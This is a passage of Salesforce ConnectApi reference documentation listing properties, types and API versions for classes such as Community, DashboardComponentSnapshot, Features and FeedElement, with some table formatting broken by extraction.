<td>Chatter REST API URL identifying the next page or null if there isn’t a next page. Check whether this value is null before getting another page. If a page doesn’t exist, a ConnectApi.NotFoundException error is returned. If you want to read more of the comments in search results, all the comments in the thread are refreshed, not just the ones that match the search term. Avoid using nextPageUrl until the comments are refreshed.</td>
<td>28.0</td>
</tr>
<tr>
<td>total</td>
<td>Integer</td>
<td>Total number of comments for the parent feed element</td>
<td>28.0</td>
</tr>
</tbody>
</table>
## ConnectApi.CommentsCapability Class

If a feed element has this capability, the context user can add a comment to it.

Subclass of ConnectApi.FeedElementCapability Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>page</td>
<td>ConnectApi.CommentPage Class</td>
<td>The comments information for this feed element.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

## ConnectApi.Community Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>allowChatterAccessWithoutLogin</td>
<td>Boolean</td>
<td>Specifies if guest users can access public groups in the community without logging in.</td>
<td>31.0</td>
</tr>
<tr>
<td>allowMembersToFlag</td>
<td>Boolean</td>
<td>Specifies if members of the community can flag content</td>
<td>30.0</td>
</tr>
<tr>
<td>description</td>
<td>String</td>
<td>Community description</td>
<td>28.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>Community ID</td>
<td>28.0</td>
</tr>
<tr>
<td>invitationsEnabled</td>
<td>Boolean</td>
<td>User can invite other external users to the community</td>
<td>28.0</td>
</tr>
<tr>
<td>knowledgeableEnabled</td>
<td>Boolean</td>
<td>Specifies whether knowledgeable people and endorsements are available for topics (true), or not (false).</td>
<td>30.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Community name</td>
<td>28.0</td>
</tr>
<tr>
<td>nicknameDisplayEnabled</td>
<td>Boolean</td>
<td>Specifies whether nicknames are displayed in the community.</td>
<td>32.0</td>
</tr>
<tr>
<td>privateMessagesEnabled</td>
<td>Boolean</td>
<td>Specifies whether members of the community can send and receive private messages to and from other members of the community (true) or not (false).</td>
<td>30.0</td>
</tr>
<tr>
<td>reputationEnabled</td>
<td>Boolean</td>
<td>Specifies whether reputation is calculated and displayed for members of the community.</td>
<td>31.0</td>
</tr>
<tr>
<td>sendWelcomeEmail</td>
<td>Boolean</td>
<td>Send email to all new users when they join</td>
<td>28.0</td>
</tr>
<tr>
<td>siteUrl</td>
<td>String</td>
<td>Site URL for the community, which is the custom domain plus a URL prefix</td>
<td>30.0</td>
</tr>
<tr>
<td>status</td>
<td>ConnectApi.CommunityStatus Enum</td>
<td>Specifies the status of the community.</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Live</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Inactive</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• UnderConstruction</td>
<td></td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>Full URL to community</td>
<td>28.0</td>
</tr>
</tbody>
</table>
### ConnectApi.CommunityPage Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>communities</td>
<td>List&lt;ConnectApi.Community&gt;</td>
<td>List of communities context user has access to</td>
<td>28.0</td>
</tr>
<tr>
<td>total</td>
<td>Integer</td>
<td>Total number of communities</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ComplexSegment Class

This class is abstract.

Subclass of ConnectApi.MessageSegment Class

Superclass of ConnectApi.FieldChangeSegment Class

ComplexSegments are only part of field changes.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>segments</td>
<td>List&lt;ConnectApi.MessageSegment&gt;</td>
<td>List of message segments.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.CompoundRecordField Class

Subclass of ConnectApi.LabeledRecordField Class

A record field that is a composite of subfields.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fields</td>
<td>List&lt;ConnectApi.AbstractRecordField&gt;</td>
<td>A collection of subfields that make up the compound field.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ContentAttachment Class

⚠️ **Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.ContentCapability is used.

Subclass of ConnectApi.FeedItemAttachment Class

Objects of this type are returned by attachments in feed items with the type ContentPost.
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>checksum</td>
<td>String</td>
<td>MDS checksum for the file</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>contentUrl</td>
<td>String</td>
<td>URL for link files and Google Docs; otherwise the value is null.</td>
<td>31.0–31.0</td>
</tr>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the attachment</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>downloadUrl</td>
<td>String</td>
<td>File’s URL. This value is null if the content is a link or a Google Doc.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>fileExtension</td>
<td>String</td>
<td>File’s extension</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>fileSize</td>
<td>String</td>
<td>Size of the file in bytes. If size cannot be determined, returns unknown.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>fileType</td>
<td>String</td>
<td>Type of file</td>
<td>28.0–31.0</td>
</tr>

</tbody>
</table>

**ConnectApi.ContentCapability**

If a feed element has this capability, it has a file attachment.

Subclass of `ConnectApi.FeedElementCapability Class`.

If content is deleted from a feed element after it’s posted or if the access to the content is changed to private, the `ConnectApi.ContentCapability` exists, however most of its properties are null.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>

**ConnectApi.CurrencyRecordField Class**

Subclass of ConnectApi.LabeledRecordField Class

A record field containing a currency value.

**ConnectApi.DashboardComponentAttachment Class**

⚠️ *Important:* This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.DashboardComponentSnapshotCapability is used.

Subclass of ConnectApi.FeedItemAttachment Class

Objects of this type are returned as attachments in feed items with type DashboardSnapshot.
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>componentId</td>
<td>String</td>
<td>Component’s 18–character ID</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>componentName</td>
<td>String</td>
<td>Name of the component. If no name is saved with the component, returns the localized string, “Untitled Component.”</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>dashboardBodyText</td>
<td>String</td>
<td>Text displayed next to the actor in the body of a feed item. This is used instead of the default body text. If no text is specified, and there is no default body text, returns null.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>dashboardId</td>
<td>String</td>
<td>Dashboard’s 18–character ID</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>dashboardName</td>
<td>String</td>
<td>Name of the dashboard.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>fullSizeImageUrl</td>

<td>URL of the full-sized dashboard image</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>lastRefreshDate</td>
<td>Datetime</td>
<td>ISO8601 date string, for example, 2011-02-25T18:24:31.000Z, specifying when this dashboard was last refreshed.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>lastRefreshDateDisplayText</td>
<td>String</td>
<td>The text of the last refresh date to be displayed, such as, “Last refreshed on October 31, 2011.”</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>runningUser</td>
<td>ConnectApi.UserSummary</td>
<td>The user running the dashboard.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>thumbnailUrl</td>
<td>String</td>
<td>URL of the thumbnail-sized dashboard image.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

**ConnectApi.DashboardComponentSnapshotCapability**

If a feed element has this capability, it has a dashboard component snapshot. A snapshot is a static image of a dashboard component at a specific point in time.

Subclass of **ConnectApi.FeedElementCapability Class**.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>dashboardComponent</td>
<td>ConnectApi.DashboardComponentSnapshot</td>
<td>The dashboard component snapshot.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**ConnectApi.DashboardComponentSnapshot**

Represents both dashboard component snapshots and alerts you receive when a dashboard component value crosses a threshold.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>componentId</td>
<td>String</td>
<td>18-character ID of the dashboard component.</td>
<td>32.0</td>
</tr>
<tr>
<td>componentName</td>
<td>String</td>
<td>The dashboard component name.</td>
<td>32.0</td>
</tr>
</tbody>
</table>
### Property Name | Type | Description | Available Version
--- | --- | --- | ---
DashboardBodyText | String | Display this text next to the actor in the feed element. Use this text in place of the default body text. | 32.0
DashboardId | String | 18-character ID of the dashboard. | 32.0
DashboardName | String | The name of the dashboard. | 32.0
FullSizeImageUrl | String | The source URL to retrieve the full-size image of a snapshot. Access this URL with OAuth credentials. | 32.0
LastRefreshDate | Datetime | ISO-8601 formatted date specifying when this dashboard component was last refreshed. | 32.0
LastRefreshDateDisplayText | String | Display text for the last refresh date, for example, “Last Refreshed on October 31, 2013.” | 32.0
RunningUser | ConnectApi.UserSummary | The running user of the dashboard at the time the snapshot was posted. This value may be null. Each dashboard has a running user, whose security settings determine which data to display in a dashboard. | 32.0
ThumbnailUrl | String | The source URL to retrieve the thumbnail image of a snapshot. Access this URL with OAuth credentials. | 32.0

### ConnectApi.DatacloudCompany Class
Information about a Data.com company.

All company information is visible for companies that you purchased and own. If you haven’t purchased a company, some of the fields are hidden. Hidden fields are fully or partially hidden by asterisks “***.”

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>ActiveContacts</td>
<td>Integer</td>
<td>The number of active Data.com contacts who work in the company.</td>
<td>32.0</td>
</tr>
<tr>
<td>Address</td>
<td>ConnectApi.Address</td>
<td>The postal address for the company. This is typically a physical address that can include the city, state, street, and postal code.</td>
<td>32.0</td>
</tr>
<tr>
<td>AnnualRevenue</td>
<td>Double</td>
<td>The amount of money that the company makes in one year. Annual revenue is measured in US dollars.</td>
<td>32.0</td>
</tr>
<tr>
<td>CompanyId</td>
<td>String</td>
<td>A unique numerical identifier for the company. This is the Data.com identifier for a company.</td>
<td>32.0</td>
</tr>
<tr>
<td>Description</td>
<td>String</td>
<td>A brief synopsis of the company that provides a general overview of the company and what it does.</td>
<td>32.0</td>
</tr>

<td>String</td>
<td>URL to the current page of contacts.</td>
<td>32.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or null if there isn’t a next page. Check whether this value is null before getting another page. If a page doesn’t exist, a ConnectApi.NotFoundException error is returned.</td>
<td>32.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>URL to the previous page of contacts. This value is null if there is no previous page.</td>
<td>32.0</td>
</tr>
<tr>
<td>total</td>
<td>Integer</td>
<td>Number of contacts that are associated with this order. Can be greater than the number of contacts that are shown on a single page.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

### ConnectApi.DatacloudOrder Class

Represents a Datacloud order.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>entityUrl</td>
<td>String</td>
<td>URL to a list of contacts or companies that were purchased with this order.</td>
<td>32.0</td>
</tr>
</tbody>
</table>
### ConnectApi.DatacloudPurchaseUsage Class

Information about Data.com point usage for monthly and list pool users.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>listpoolCreditsAvailable</td>
<td>Integer</td>
<td>The points or credits that are available in a pool of credits for your organization. This pool of credits can be used by any List Pool User in your organization.</td>
<td>32.0</td>
</tr>
<tr>
<td>listpoolCreditsUsed</td>
<td>Integer</td>
<td>The points or credits that have been used from a pool of credits that are used by List Pool Users to purchase records.</td>
<td>32.0</td>
</tr>
<tr>
<td>monthlyCreditsAvailable</td>
<td>Integer</td>
<td>The total credits that are assigned to a Monthly User. Unused credits expire at the end of each month.</td>
<td>32.0</td>
</tr>
<tr>
<td>monthlyCreditsUsed</td>
<td>Integer</td>
<td>The credits that are used by a Monthly User for the current month.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

### ConnectApi.DateRecordField Class

Subclass of ConnectApi.LabeledRecordField Class

A record field containing a date.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>dateValue</td>
<td>Datetime</td>
<td>A date that a machine can read. Ignore the trailing 00:00:00.000Z characters.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

### ConnectApi.EditCapability

If a feed element or comment has this capability, users who have permission can edit it.
<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isEditRestricted</td>
<td>Boolean</td>
<td>Specifies whether editing this feed element or comment is restricted. If true, the context user can’t edit this feed element or comment. If false, the context user may or may not have permission to edit this feed element or comment. To determine if the context user can edit a feed element or comment, use the <code>isFeedElementEditableByMe(communityId, feedElementId)</code> or <code>isCommentEditableByMe(communityId, commentId)</code> method.</td>
<td>34.0</td>
</tr>
<tr>
<td>isEditableByMeUrl</td>
<td>String</td>
<td>The URL to check if the context user is able to edit this feed element or comment.</td>
<td>34.0</td>
</tr>
<tr>
<td>lastEditedBy</td>
<td>ConnectApi.Actor</td>
<td>Who last edited this feed element or comment.</td>
<td>34.0</td>
</tr>
<tr>
<td>lastEditedDate</td>
<td>Datetime</td>
<td>The most recent edit date of this feed element or comment.</td>
<td>34.0</td>
</tr>
<tr>
<td>latestRevision</td>
<td>Integer</td>
<td>The most recent revision of this feed element or comment.</td>
<td>34.0</td>
</tr>
<tr>
<td>relativeLastEditedDate</td>
<td>String</td>
<td>Relative last edited date, for example, “2h ago.”</td>
<td>34.0</td>
</tr>
</tbody>
</table>

**ConnectApi.EmailAddress Class**

An email address.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>displayName</td>
<td>String</td>
<td>The display name for the email address.</td>
<td>29.0</td>
</tr>
<tr>
<td>emailAddress</td>
<td>String</td>
<td>The email address.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

**ConnectApi.EmailMessage Class**

⚠️ **Important:** This class isn’t available in version 32.0 and later. In version 32.0 and later, `ConnectApi.EmailMessageCapability` is used.

Subclass of `ConnectApi.FeedItemAttachment Class`

An email message from a case.
**ConnectApi.EmailMessageCapability**

If a feed element has this capability, it has an email message from a case.

Subclass of `ConnectApi.FeedElementCapability` Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>direction</td>
<td><code>ConnectApi.EmailMessageDirection Enum</code></td>
<td>The direction of the email message. Values are:</td>
<td>32.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Inbound—An inbound message (sent by a customer).</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Outbound—An outbound message (sent to a customer by a support agent).</td>
<td></td>
</tr>
<tr>
<td>emailMessageId</td>
<td><code>String</code></td>
<td>The ID of the email message.</td>
<td>32.0</td>
</tr>
<tr>
<td>subject</td>
<td><code>String</code></td>
<td>The subject of the email message.</td>
<td>32.0</td>
</tr>
<tr>
<td>textBody</td>
<td><code>String</code></td>
<td>The body of the email message.</td>
<td>32.0</td>
</tr>
<tr>
<td>toAddresses</td>
<td><code>List&lt;ConnectApi.EmailAddress&gt;</code></td>
<td>A list of email addresses to send the message to.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**ConnectApi.EnhancedLinkCapability**

If a feed element has this capability, it has a link that may contain supplemental information like an icon, a title, and a description.

Subclass of `ConnectApi.FeedElementCapability` Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td><code>String</code></td>
<td>A description with a 500 character limit.</td>
<td>32.0</td>
</tr>
<tr>
<td>icon</td>
<td><code>ConnectApi.Icon</code></td>
<td>A icon.</td>
<td>32.0</td>
</tr>
</tbody>
</table>
### ConnectApi.EntityLinkSegment Class

Subclass of ConnectApi.MessageSegment Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>motif</td>
<td>ConnectApi.Motif</td>
<td>A set of small, medium, and large icons that indicate whether the entity is a file, group, record, or user. The motif can also contain the object's base color.</td>
<td>28.0</td>
</tr>
<tr>
<td>reference</td>
<td>ConnectApi. Reference</td>
<td>A reference to the link object if applicable, otherwise, null.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.EntityRecommendation Class

Represents a recommendation, including file, group, record, user, and custom recommendations.

Subclass of ConnectApi.AbstractRecommendation Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actOnUrl</td>
<td>String</td>
<td>For user, file, group, and record entity types, use this Chatter REST URL with a POST request to take action on the recommendation. For ConnectApi.RecommendedObject entity types, such as custom recommendations, use the actionUrl property of the ConnectApi.PlatformAction Class to take action on the recommendation.</td>
<td>32.0</td>
</tr>
<tr>
<td>action</td>
<td>ConnectApi.Recommendation ActionType</td>
<td>Specifies the action to take on a recommendation.</td>
<td>32.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• follow—Follow a file, record, or user.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• join—Join a group.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• view—View a file, group, record, user, custom, or static recommendation.</td>
<td></td>
</tr>
<tr>
<td>entity</td>
<td>ConnectApi.Actor</td>
<td>The entity with which the receiver is recommended to take action.</td>
<td>32.0</td>
</tr>
</tbody>
</table>
## ConnectApi.Features Class

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>chatter</td>
<td>Boolean</td>
<td>Indicates whether Chatter is enabled for an organization</td>
<td>28.0</td>
</tr>
<tr>
<td>chatterActivity</td>
<td>Boolean</td>
<td>Indicates whether the user details include information about Chatter activity</td>
<td>28.0</td>
</tr>
<tr>
<td>chatterAnswers</td>
<td>Boolean</td>
<td>Indicates whether Chatter Answers is enabled</td>
<td>29.0</td>
</tr>
<tr>
<td>chatterGlobalInfluence</td>
<td>Boolean</td>
<td>Indicates whether the user details include global Chatter activity</td>
<td>28.0</td>
</tr>
<tr>
<td>chatterGroupRecords</td>
<td>Boolean</td>
<td>Specifies whether Chatter groups can have records associated with them</td>
<td>30.0</td>
</tr>
<tr>
<td>chatterGroupRecordSharing</td>
<td>Boolean</td>
<td>Specifies whether Chatter records are implicitly shared among group members when records are added to groups</td>
<td>30.0</td>
</tr>
<tr>
<td>chatterMessages</td>
<td>Boolean</td>
<td>Indicates whether Chatter messages are enabled for the organization</td>
<td>28.0</td>
</tr>
<tr>
<td>chatterTopics</td>
<td>Boolean</td>
<td>Indicates whether Chatter topics are enabled</td>
<td>28.0</td>
</tr>
<tr>
<td>communitiesEnabled</td>
<td>Boolean</td>
<td>Indicates whether Salesforce Communities is enabled.</td>
<td>31.0</td>
</tr>
<tr>
<td>communityModeration</td>
<td>Boolean</td>
<td>Specifies whether community moderation is enabled.</td>
<td>29.0</td>
</tr>
<tr>
<td>communityReputation</td>
<td>Boolean</td>
<td>Specifies whether reputation is enabled for communities in the organization.</td>
<td>32.0</td>
</tr>
<tr>
<td>dashboardComponentSnapshots</td>
<td>Boolean</td>
<td>Indicates whether the user can post dashboard component snapshots</td>
<td>28.0</td>
</tr>
<tr>
<td>defaultCurrencyIsoCode</td>
<td>String</td>
<td>The ISO code of the default currency. Applicable only when multiCurrency is false.</td>
<td>28.0</td>
</tr>
<tr>
<td>feedPolling</td>
<td>Boolean</td>
<td>Reserved for future use.</td>
<td>28.0</td>
</tr>
<tr>
<td>files</td>
<td>Boolean</td>
<td>Indicates whether files can act as resources for Chatter API</td>
<td>28.0</td>
</tr>
<tr>
<td>filesOnComments</td>
<td>Boolean</td>
<td>Indicates whether files can be attached to comments</td>
<td>28.0</td>
</tr>
<tr>
<td>groupsCanFollow</td>
<td>Boolean</td>
<td>Reserved for future use</td>
<td>28.0–29.0</td>
</tr>
<tr>
<td>ideas</td>
<td>Boolean</td>
<td>Indicates whether Ideas is enabled</td>
<td>29.0</td>
</tr>
<tr>
<td>managedTopicsEnabled</td>
<td>Boolean</td>
<td>Indicates access to the community home feed and the managed topic feed.</td>
<td>32.0</td>
</tr>
</tbody>
</table>
### Property Descriptions

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>mobile Notifications Enabled</td>
<td>Boolean</td>
<td>Reserved for future use</td>
<td>29.0</td>
</tr>
<tr>
<td>multiCurrency</td>
<td>Boolean</td>
<td>Indicates whether the user’s organization uses multiple currencies (true) or not (false). When false, the defaultCurrencyIsoCode indicates the ISO code of the default currency.</td>
<td>28.0</td>
</tr>
<tr>
<td>publisherActions</td>
<td>Boolean</td>
<td>Indicates whether actions in the publisher are enabled</td>
<td>28.0</td>
</tr>
<tr>
<td>storeData OnDevices Enabled</td>
<td>Boolean</td>
<td>Indicates whether the Salesforce1 downloadable apps can use secure, persistent storage on mobile devices to cache data.</td>
<td>30.0</td>
</tr>
<tr>
<td>thanksAllowed</td>
<td>Boolean</td>
<td>Reserved for future use</td>
<td>28.0</td>
</tr>
<tr>
<td>trendingTopics</td>
<td>Boolean</td>
<td>Indicates whether trending topics are enabled</td>
<td>28.0</td>
</tr>
<tr>
<td>viralInvites Allowed</td>
<td>Boolean</td>
<td>Indicates whether existing Chatter users can invite people in their company to use Chatter</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.Feed Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>feedElementPostUrl</td>
<td>String</td>
<td>Chatter REST API URL for posting feed elements to this subject.</td>
<td>31.0</td>
</tr>
<tr>
<td>feedElementsUrl</td>
<td>String</td>
<td>Chatter REST API URL of feed elements.</td>
<td>31.0</td>
</tr>
<tr>
<td>feedItemsUrl</td>
<td>String</td>
<td>Chatter REST API URL of feed items.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>isModifiedUrl</td>
<td>String</td>
<td>A Chatter REST API URL with a since request parameter that contains an opaque token that describes when the feed was last modified. Returns null if the feed isn’t a news feed. Use this URL to poll a news feed for updates.</td>
<td>28.0</td>
</tr>
<tr>
<td>respectsMute</td>
<td>Boolean</td>
<td>Indicates whether the feed respects the mute feature. If true, the feed shows the ability to mute or unmute each element, depending on the value of isMutedByMe; null if the mute feature is disabled for the organization.</td>
<td>35.0</td>
</tr>
</tbody>
</table>

### ConnectApi.FeedBody Class

Subclass of ConnectApi.AbstractMessageBody Class

No additional properties.
**ConnectApi.FeedDirectory Class**

A directory of feeds and favorites.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>favorites</td>
<td>List&lt;ConnectApi.FeedFavorite&gt;</td>
<td>A list of feed favorites</td>
<td>30.0</td>
</tr>
<tr>
<td>feeds</td>
<td>List&lt;ConnectApi.FeedDirectoryItem&gt;</td>
<td>A list of feeds</td>
<td>30.0</td>
</tr>
</tbody>
</table>

**ConnectApi.FeedDirectoryItem Class**

The definition of a feed.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>feedElementsUrl</td>
<td>String</td>
<td>Chatter REST API resource URL for the feed elements.</td>
<td></td>
</tr>
<tr>
<td>feedItemsUrl</td>
<td>String</td>
<td>Chatter REST API resource URL for the feed items of a specific feed.</td>
<td>30.0–31.0</td>
</tr>
<tr>
<td>feedType</td>
<td>ConnectApi.FeedTypeEnum</td>
<td>The feed type. One of these values:</td>
<td>30.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Bookmarks—Contains all feed items saved as bookmarks by the context user.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Company—Contains all feed items except feed items of type TrackedChange. To see the feed item, the user must have sharing access to its parent.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Files—Contains all feed items that contain files posted by people or groups that the context user follows.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Filter—Contains the news feed filtered to contain feed items whose parent is a specified object type.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Groups—Contains all feed items from all groups the context user either owns or is a member of.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Home—Contains all feed items associated with any managed topic in a community.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Moderation—Contains all feed items that have been flagged for moderation. The Communities Moderation feed is available only to users with &quot;Moderate Community Feeds&quot; permissions.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Mute—Contains all feed items that the context user muted.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• News—Contains all updates for people the context user follows, groups the user is a member of, and files and records the user is following. Also contains all updates for records whose parent is the context user and every feed item and comment that mentions the context user or that mentions a group the context user is a member of.</td>
<td></td>
</tr>
</tbody>
</table>
### Available Version

<table>
<thead>
<tr>
<th>Description</th>
<th>Type</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>People—Contains all feed items posted by all people the context user follows.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Record—Contains all feed items whose parent is a specified record, which could be a group, user, object, file, or any other standard or custom object. When the record is a group, the feed also contains feed items that mention the group. When the record is a user, the feed contains only feed items on that user. You can get another user's record feed.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>To—Contains all feed items with mentions of the context user, feed items the context user commented on, and feed items created by the context user that are commented on.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Topics—Contains all feed items that include the specified topic.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>UserProfile—Contains feed items created when a user changes records that can be tracked in a feed, feed items whose parent is the user, and feed items that @mention the user. This feed is different than the news feed, which returns more feed items, including group updates. You can get another user's user profile feed.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

#### ConnectApi.FeedElement Class

Feed elements are the top-level items that a feed contains. Feeds are feed element containers.

This class is abstract.

Superclass of:
- ConnectApi.FeedItem Class
- ConnectApi.GenericFeedElement Class

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>body</td>
<td><code>ConnectApi.FeedBody</code></td>
<td>Information about the feed element.</td>
<td>22.0</td>
</tr>
</tbody>
</table>

**Important:** Use the `header.text` property as the default value for rendering.
### Available Version

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>capabilities</td>
<td>ConnectApi. FeedElement Capabilities Class</td>
<td>A container for all capabilities that can be included with a feed element.</td>
<td>31.0</td>
</tr>
<tr>
<td>createdDate</td>
<td>Datetime</td>
<td>An ISO 8601 format date string, for example, 2011-02-25T18:24:31.000Z.</td>
<td>31.0</td>
</tr>
</tbody>
</table>
| feedElementType     | ConnectApi. FeedElementType               | Feed elements are the top-level objects that a feed contains. The feed element type describes the characteristics of that feed element. One of these values:  
  - Bundle—A container of feed elements. A bundle also has a body made up of message segments that can always be gracefully degraded to text-only values.  
  - FeedItem—A feed item has a single parent and is scoped to one community or across all communities. A feed item can have capabilities such as bookmarks, canvas, content, comment, link, poll. Feed items have a body made up of message segments that can always be gracefully degraded to text-only values.  
  - Recommendation—A recommendation is a feed element with a recommendations capability. A recommendation suggests records to follow, groups to join, or applications that are helpful to the context user.  | 31.0              |
| header              | ConnectApi. MessageBody                   | The header is the title of the post. This property contains renderable plain text for all the segments of the message. If a client doesn’t know how to render a feed element type, it should render this text. | 31.0              |
| id                  | String                                    | 18-character ID of the feed element.                                        | 22.0              |
| modifiedDate        | Datetime                                  | An ISO 8601 format date string, for example, 2011-02-25T18:24:31.000Z.       | 31.0              |
| parent              | ConnectApi. ActorWithId                   | Feed element’s parent                                                      | 28.0              |
| relativeCreatedDate | Datetime                                  | The created date formatted as a relative, localized string, for example, “17m ago” or “Yesterday.” | 31.0              |
| url                 | String                                    | Chatter REST API URL to this feed element.                                  | 22.0              |
# ConnectApi.FeedElementCapabilities Class

A container for all capabilities that can be included with a feed element.

</tbody>
</table>

**ConnectApi.FeedElementCapability Class**

